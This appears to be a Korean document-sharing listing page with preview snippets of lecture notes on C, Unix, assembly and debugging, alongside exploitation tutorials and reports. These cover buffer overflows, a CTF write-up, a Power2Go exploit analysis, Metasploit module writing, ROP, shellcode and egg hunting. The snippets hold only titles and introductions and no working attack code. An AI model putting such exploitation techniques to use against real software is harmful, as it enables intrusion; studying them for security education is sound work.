vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

simple ROP Exploit

simple ROP Exploit SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr 목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)...

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

Microsoft PowerPoint - secu10.pptx

Microsoft PowerPoint - secu10.pptx Buffer Overflow Chap 10. Buffer Overflow a very common attack mechanism 1988 년 the Morris Worm 가처음사용한방법 버퍼에저장되는데이터의크기를검사하지않는, 프로그램의부주의한점을이용 prevention techniques 이알려져있음 여전히많은관심대상임 널리배포되어사용중인운영체제와응용프로그램에이러한버그가있는코드가존재함

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

Microsoft PowerPoint - a5a.ppt [호환 모드]

Microsoft PowerPoint - a5a.ppt [호환 모드] 5 장프로시저 (1) 책의라이브러리사용 5 장전반부 : 책의링크라이브러리 외부링크라이브러리개요 라이브러리프로시저호출 라이브러리링크 라이브러리프로시저 예제 연세대학교컴퓨터정보통신어셈블리언어 2 저자제공링크라이브러리 라이브러리파일 어셈블된프로시저를포함하고있는 OBJ 파일들을모아놓은파일 ( 확장자.LIB) 각 OBJ file 에는하나이상의 procedure 가들어있음

More information

DE1-SoC Board

DE1-SoC Board 실습 1 개발환경 DE1-SoC Board Design Tools - Installation Download & Install Quartus Prime Lite Edition http://www.altera.com/ Quartus Prime (includes Nios II EDS) Nios II Embedded Design Suite (EDS) is automatically

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

various tricks for remote linux exploits v3.pptx

various tricks for remote linux exploits v3.pptx various tricks for linux remote exploits 이석하 wh1ant 2013.11.30 www.codeengn.com 2013 CodeEngn Conference 09 Thank you The author would like to thank to trigger for reviewing this paper :) 순서 1 - Traditional

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

02(243-249) CSTV11-22.hwp

02(243-249) CSTV11-22.hwp 함수호출규약에 기반한 새로운 소프트웨어 워터마킹 기법 243 함수호출규약에 기반한 새로운 소프트웨어 워터마킹 기법 (A Novel Software Watermarking Scheme Based on Calling Convention) 전 철 정진만 김봉재 (Cheol Jeon) (Jinman Jung) (Bongjae Kim) 장준혁 조유근 홍지만 (Joonhyouk

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

PRO1_09E [읽기 전용]

PRO1_09E [읽기 전용] Siemens AG 1999 All rights reserved File: PRO1_09E1 Information and - ( ) 2 3 4 5 Monitor/Modify Variables" 6 7 8 9 10 11 CPU 12 Stop 13 (Forcing) 14 (1) 15 (2) 16 : 17 : Stop 18 : 19 : (Forcing) 20 :

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

Microsoft Word - 1. ARM Assembly 실습_xp2.doc ARM asm 의구조 ARM Assembly 실습 1. 기본골격 AREA armex,code, READONLY ;Mark first instruction to execute start MOV r0, #10 MOV r1,#3 ADD r0, r0, r1 ; r0 = r0 + r1 stop NOP NOP B stop ; Mark end of file 위의 asm의구조를이해하고실행해보세요.

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information